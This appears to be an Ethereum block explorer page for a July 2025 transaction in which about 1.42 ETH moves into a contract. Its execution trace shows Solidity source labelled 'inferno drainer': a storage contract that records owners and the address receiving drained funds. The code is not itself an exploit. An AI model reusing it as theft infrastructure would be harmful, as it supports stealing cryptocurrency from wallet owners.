Transaction Hash:
Block:
22847113 at Jul-04-2025 04:41:47 PM +UTC
Transaction Fee:
0.000554696228553084 ETH
$1.40
Gas Used:
148,644 Gas / 3.731709511 Gwei
Emitted Events:
86 |
0x0000303359f425abe18d70d454a10c1f29180000.0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef( 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef, 0x0000000000000000000000000000000000000000000000000000000000000000, 0x0000000000000000000000000000303359f425abe18d70d454a10c1f29180000, 00000000000000000000000000000000000000000000021e19e0c9bab2400000 )
|
Account State Difference:
Address | Before | After | State Difference | ||
---|---|---|---|---|---|
0x00003033...F29180000 | 0.219860017724592933 Eth | 1.639739902978452646 Eth | 1.419879885253859713 | ||
0x20F435af...13a0e6677 |
1.478597217859501963 Eth
Nonce: 96
|
0.058162636377089166 Eth
Nonce: 98
| 1.420434581482412797 | ||
0xdadB0d80...24f783711
Miner
| (BuilderNet) | 22.255884235338485951 Eth | 22.256181523338485951 Eth | 0.000297288 |
Execution Trace
0x20f435af76699629fe55c4ac342d33013a0e6677.e9ae5c53( )
ETH 1.419879885253859713
0x0000303359f425abe18d70d454a10c1f29180000.8bf4eff3( )
-
StorageContract.CALL( )
0x0000303359f425abe18d70d454a10c1f29180000.df60a6ed( )
-
0x0000303359f425abe18d70d454a10c1f29180000.STATICCALL( )
-
-
// @mr_inferno_drainer / inferno drainer pragma solidity ^0.8.6; contract StorageContract { address public nativeCryptoReceiver; address[] public owners; constructor(address defaultNativeCryptoReceiver, address firstOwner) { nativeCryptoReceiver = defaultNativeCryptoReceiver; owners.push(firstOwner); } modifier onlyOwner() { bool isOwner = false; for (uint256 i = 0; i < owners.length; i++) { if (msg.sender == owners[i]) { isOwner = true; break; } } require(isOwner, "Caller is not an owner"); _; } function addOwner(address newOwner) public onlyOwner { owners.push(newOwner); } function getOwners() public view returns (address[] memory) { return owners; } function removeOwner(address ownerToRemove) public onlyOwner { uint256 index = type(uint256).max; for (uint256 i = 0; i < owners.length; i++) { if (owners[i] == ownerToRemove) { index = i; break; } } require(index != type(uint256).max, "Owner not found"); require(owners.length > 1, "Cannot remove the last owner"); owners[index] = owners[owners.length - 1]; owners.pop(); } function changeNativeCryptoReceiver(address newNativeCryptoReceiver) public onlyOwner { nativeCryptoReceiver = newNativeCryptoReceiver; } }